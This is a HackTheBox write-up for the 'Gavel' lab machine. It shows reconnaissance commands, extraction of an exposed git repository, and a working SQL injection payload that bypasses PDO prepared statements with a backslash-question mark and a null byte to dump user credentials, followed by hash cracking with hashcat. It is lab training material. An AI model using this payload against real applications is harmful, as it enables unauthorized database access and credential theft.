HackTheBox - Gavel Writeup
Difficulty: Medium
OS: Linux (Ubuntu)
Author: HTB
Summary
Gavel is a medium-difficulty Linux machine featuring an auction web application with multiple vulnerabilities. Initial access is achieved through SQL injection that bypasses PDO prepared statement protection, allowing extraction of admin credentials. After cracking the bcrypt hash, access to the admin panel enables Remote Code Execution via the runkit_function_add() PHP function. Privilege escalation involves exploiting a YAML injection vulnerability in a root-owned daemon process, bypassing PHP sandbox restrictions to obtain root access.
Reconnaissance
Nmap Scan
nmap -sC -sV -oN nmap/initial TARGET_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52
Web Enumeration
Adding gavel.htb to /etc/hosts:
echo "TARGET_IP gavel.htb" >> /etc/hosts
Directory enumeration reveals an exposed .git repository:
gobuster dir -u http://gavel.htb -w /usr/share/wordlists/dirb/common.txt
/.git/HEAD (Status: 200)
/admin.php (Status: 302)
/assets (Status: 301)
/index.php (Status: 200)
/login.php (Status: 200)
Git Repository Extraction
Using git-dumper to extract the exposed repository:
git-dumper http://gavel.htb/.git/ ./gavel-git
cd gavel-git
git checkout .
Source Code Analysis
Key Files Discovered:
| File | Purpose |
|---|---|
inventory.php |
SQL Injection vulnerability |
includes/bid_handler.php |
RCE via runkit_function_add() |
admin.php |
Auction rule management (requires auctioneer role) |
includes/config.php |
Database credentials: gavel:gavel |
SQL Injection - PDO Bypass
Vulnerable Code (inventory.php)
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
The Challenge
- The
sortparameter is wrapped in backticks with backticks stripped - The
user_idparameter uses PDO prepared statements with?placeholder - Traditional SQL injection appears blocked
The Bypass Technique
Payload:
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
URL Decoded:
user_id=x` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;-- -
sort=\?;-- -%00
Why This Works
-
\?breaks PDO parameter detection - PDO scans for?placeholders before parsing MySQL syntax. The backslash causes PDO to treat\?as an escaped literal, miscounting parameters. -
%00null byte - Causes C-level string truncation in the MySQL driver, breaking prepared statement binding. -
Parameter binding fails - The
user_idvalue is no longer safely bound and gets interpreted as raw SQL. -
Subquery executes - Returns concatenated credentials displayed as inventory items.
Extracted Credentials
auctioneer:REDECUTED
Hash Cracking
echo 'REDECUTED' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt